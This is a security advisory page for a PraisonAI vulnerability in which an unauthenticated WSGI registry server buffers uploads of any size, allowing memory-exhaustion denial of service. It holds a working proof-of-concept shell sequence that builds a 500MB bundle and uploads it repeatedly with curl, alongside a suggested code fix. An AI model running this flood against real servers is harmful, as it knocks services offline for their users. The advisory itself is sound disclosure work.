CVE-2026-40115: PraisonAI has Unrestricted Upload Size in WSGI Recipe Registry Server that Enables Memory Exhaustion DoS
Summary The WSGI-based recipe registry server (server.py) reads the entire HTTP request body into memory based on the client-supplied Content-Length header with no upper bound. Combined with authentication being disabled by default (no token configured), any local process can send arbitrarily large POST requests to exhaust server memory and cause a denial of service.
Published Apr 10, 2026 · Updated Apr 24, 2026
Affected packages
PraisonAI
- Ecosystem
- PyPI
- Affected
- < 4.5.128
- Fixed in
- 4.5.128
- Check
pip show PraisonAI
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
The WSGI-based recipe registry server (server.py) reads the entire HTTP request body into memory based on the client-supplied Content-Length header with no upper bound. Combined with authentication being disabled by default (no token configured), any local process can send arbitrarily large POST requests to exhaust server memory and cause a denial of service. The Starlette-based server (serve.py) has RequestSizeLimitMiddleware with a 10MB limit, but the WSGI server lacks any equivalent protection.
Details
The vulnerable code path in src/praisonai/praisonai/recipe/server.py:
1. No size limit on body read (line 551-555):
content_length = int(environ.get("CONTENT_LENGTH", 0))
body = environ["wsgi.input"].read(content_length) if content_length > 0 else b""The content_length is taken directly from the HTTP header with no maximum check. The entire body is read into a single bytes object in memory.
2. Second in-memory copy via multipart parsing (line 169-172):
result = {"fields": {}, "files": {}}
boundary_bytes = f"--{boundary}".encode()
parts = body.split(boundary_bytes)The _parse_multipart method splits the already-buffered body and stores file contents in a dict, creating additional in-memory copies.
3. Third copy to temp file (line 420-421):
with tempfile.NamedTemporaryFile(suffix=".praison", delete=False) as tmp:
tmp.write(bundle_content)The bundle content is then written to disk and persisted in the registry, also without size checks.
4. Authentication disabled by default (line 91-94):
def _check_auth(self, headers: Dict[str, str]) -> bool:
if not self.token:
return True # No token configured = no authThe self.token defaults to None unless PRAISONAI_REGISTRY_TOKEN is set or --token is passed on the CLI.
The entry point is praisonai registry serve (cli/features/registry.py:176), which calls run_server() binding to 127.0.0.1:7777 by default.
In contrast, serve.py (the Starlette server) has RequestSizeLimitMiddleware at line 725-732 enforcing a 10MB default limit. The WSGI server has no equivalent.
PoC
# Start the registry server with default settings (no auth, localhost)
praisonai registry serve &
# Step 1: Create a large bundle (~500MB)
mkdir -p /tmp/dos-test
echo '{"name":"dos","version":"1.0.0"}' > /tmp/dos-test/manifest.json
dd if=/dev/zero of=/tmp/dos-test/pad bs=1M count=500
tar czf /tmp/dos-bundle.praison -C /tmp/dos-test .
# Step 2: Upload — server buffers ~500MB into RAM with no limit
curl -X POST http://127.0.0.1:7777/v1/recipes/dos/1.0.0 \
-F 'bundle=@/tmp/dos-bundle.praison' -F 'force=true'
# Step 3: Repeat to exhaust memory
for v in 1.0.{1..10}; do
curl -X POST http://127.0.0.1:7777/v1/recipes/dos/$v \
-F 'bundle=@/tmp/dos-bundle.praison' &
done
# Server process will be OOM-killedImpact
- Memory exhaustion: A single large request can consume all available memory, crashing the server process (and potentially other processes via OOM killer).
- Disk exhaustion: Repeated uploads persist bundles to disk at
~/.praison/registry/with no quota, potentially filling the filesystem. - No authentication barrier: Default configuration requires no token, so any local process (including via SSRF from other services on the same host) can trigger this.
- Availability impact: The registry server becomes unavailable, blocking recipe publish/download operations.
The default bind address of 127.0.0.1 limits exploitability to local attackers or SSRF scenarios. If a user binds to 0.0.0.0 (common for shared environments or containers), the attack surface extends to the network.
Recommended Fix
Add a request size limit to the WSGI application, consistent with serve.py's 10MB default:
# In create_wsgi_app(), before reading the body:
MAX_REQUEST_SIZE = 10 * 1024 * 1024 # 10MB, matching serve.py
def application(environ, start_response):
# ... existing code ...
# Read body with size limit
try:
content_length = int(environ.get("CONTENT_LENGTH", 0))
except (ValueError, TypeError):
content_length = 0
if content_length > MAX_REQUEST_SIZE:
status = "413 Request Entity Too Large"
response_headers = [("Content-Type", "application/json")]
body = json.dumps({
"error": {
"code": "request_too_large",
"message": f"Request body too large. Max: {MAX_REQUEST_SIZE} bytes"
}
}).encode()
start_response(status, response_headers)
return [body]
body = environ["wsgi.input"].read(content_length) if content_length > 0 else b""
# ... rest of handler ...Additionally, consider:
- Adding a
--max-request-sizeCLI flag topraisonai registry serve - Adding per-recipe disk quota enforcement in
LocalRegistry.publish()
Credited to offset.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More PyPI vulnerabilities
All PyPI entriesCVE-2026-61439
PraisonAI: Prompt Injection Defense Bypassed for HIGH-Level Threats
high7.5Oct 7, 2026CVE-2026-62176
PraisonAI: Code Injection via f-string Interpolation in Deploy API Server Generation
critical9.1Oct 7, 2026CVE-2026-55522
PraisonAI workflow include bypasses tools.py autoload opt-in and executes included recipe code
high7.8Aug 25, 2026CVE-2026-55529
PraisonAI has an origin validation bypass in MCP HTTP Stream transport that allows browser-mediated unauthenticated tool execution on local MCP server
medium6.9Aug 25, 2026CVE-2026-55531
PraisonAI MCP HTTP server has unauthenticated unbounded session accumulation (memory exhaustion; session TTL never enforced)
medium6.5Aug 25, 2026CVE-2026-55532
PraisonAI: Origin-validation bypass (startswith prefix match) enables unauthenticated cross-site request forgery against the PraisonAI MCP HTTP server
high7.6Aug 25, 2026
